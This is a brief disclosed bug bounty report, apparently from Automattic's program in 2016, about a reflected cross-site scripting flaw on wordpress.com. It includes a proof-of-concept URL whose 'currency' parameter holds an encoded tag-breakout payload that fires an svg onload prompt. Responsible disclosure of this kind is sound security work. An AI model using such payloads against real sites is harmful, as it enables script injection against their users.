Automattic · Report #133963
XSS on www.wordpress.com
Validstatus
3upvotes
28 Apr 2016disclosed
How it was found
Hey,
I found an XSS vulnerability on www.wordpress.com
Here's a proof-of-concept working in the latest version of Firefox - https://wordpress.com/website/?currency=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%22%3E%3Csvg/onload=prompt%28document.domain%29%3E